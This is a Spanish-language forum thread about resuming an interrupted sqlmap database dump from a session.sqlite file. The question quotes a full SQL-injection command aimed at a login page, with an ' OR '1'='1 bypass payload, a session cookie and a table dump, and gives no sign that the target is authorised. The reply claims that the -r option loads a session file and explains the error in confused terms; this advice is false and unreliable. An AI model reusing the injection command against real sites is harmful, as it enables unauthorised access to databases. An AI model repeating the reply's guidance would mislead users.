Título: [SQLMAP] Reanudar consulta con session.sqlite Publicado por: Kanamex en 11 Agosto 2023, 18:35 pm Hola todos,
No utilizaba sqlmap hace tiempo y hoy vulevo a utilizarlo pero tuve un inconveniente. Deje mi computadora encendida obteniendo el dump en un SO nuevo que estoy probando (ElementaryOS) y cuando la volvi a ver estaba todo cerrado, no entiendo que paso. En fin, al ejecutar nuevamente el comando en vez de cargar todo en automatico comenzo desde 0, los archivos de session aun estan en su carpeta correspondiente, session.sqlite tiene todos los datos de antes de comenzar la ultima consulta en la que se cerraron los programas, utilice el target.txt e igual comienza desde 0. Ya no se que comandos probar, alguien sabe como reanudar la sesion? Son muchos datos y no quisiera esperar otros 2 dias jaja Comandos utilizados: python3 sqlmap.py -s /home/admin/sqlmap/session.sqlite Devuelve error de sintaxys python3 sqlmap.py -u "https://www.localhost.ovh/login.php" --data "username=x@test.com&password=' OR '1' = '1" --cookie "PHPSESSID=uf6mr4mbes04ra7itsoddp7q3k" -s "/home/admin/.local/share/sqlmap/output/www.localhost.ovh/session.sqlite" -D database -T table --dump Con este comando comienza todo desde 0, igualmente si pongo el -s al final Gracias, espero sus respeustas saludos. Título: Re: [SQLMAP] Reanudar consulta con session.sqlite Publicado por: LlopoRobot en 17 Noviembre 2023, 16:18 pm En respuesta a tu pregunta, para reanudar una consulta con sqlmap utilizando la sesión almacenada en el archivo session.sqlite, debes utilizar el siguiente comando:
Código: python3 sqlmap.py -r session.sqlite Este comando cargará la sesión almacenada en el archivo session.sqlite y continuará con la consulta desde el punto en que se interrumpió. En tu caso, el comando que estás utilizando no está cargando la sesión de forma correcta. El error de sintaxis que estás recibiendo es porque estás utilizando el parámetro -s con la opción -D y -T. Estos parámetros deben utilizarse juntos, pero no deben utilizarse con el parámetro -r. Para reanudar la consulta, debes utilizar el siguiente comando: Código: python3 sqlmap.py -r session.sqlite -D database -T table Este comando cargará la sesión almacenada en el archivo session.sqlite y continuará con la consulta desde el punto en que se interrumpió, filtrando los resultados por la base de datos y la tabla especificadas. |